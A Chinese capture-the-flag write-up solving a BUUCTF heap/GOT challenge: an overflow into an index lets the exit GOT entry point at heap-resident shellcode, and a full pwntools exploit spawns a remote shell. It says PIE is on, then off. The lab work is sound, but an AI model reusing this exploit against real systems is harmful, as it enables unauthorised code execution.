查看保护,就开了 PIE:
漏洞点:
buf 存在溢出,刚好可以溢出到 idx,而且没有开 PIE 和 FULL RELRO,所以可以修改 idx 去修改相关 got 表项。
然后我就没啥思路了,因为在我的本地环境堆上是没有可执行权限的,然后去网上搜了一下,发现其都说堆上有可执行权限。然后看了下 buu 给的是 ubu18,所以应该是环境的问题,远程堆上应该有可执行权限。
利用方式:
修改 exit got 表为堆上地址,然后往堆上写入 shellcode,由于写入字节有限,所以 shellcode 得分段写入,exp 如下:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
#io = process("./pwn")
io = remote("node4.buuoj.cn", 29116)
elf = ELF("./pwn")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''
def add(idx, size, data):
sl(b'1')
sleep(0.02)
sl(byte(idx))
sleep(0.02)
sl(size)
sleep(0.02)
sl(data)
sleep(0.01)
pay = b'13'.ljust(10, b'\x00') + p32(0xFFFFFFF8)
shellcode = asm("""
mov rax,0x0068732f6e69622f
jmp $+0x16
""")
info("shellcode len", len(shellcode))
add(0, pay, shellcode)
shellcode = asm("""
push rax
mov rdi, rsp
xor rsi, rsi
jmp $+0x19
""")
info("shellcode len", len(shellcode))
add(1, b'13\x00', shellcode)
shellcode = asm("""
xor rdx, rdx
mov rax, 0x3b
syscall
""")
info("shellcode len", len(shellcode))
add(2, b'13\x00', shellcode)
sl(b'5')
#debug()
sh()
远程可以通,而本地堆上无可执行权限,所以打不通: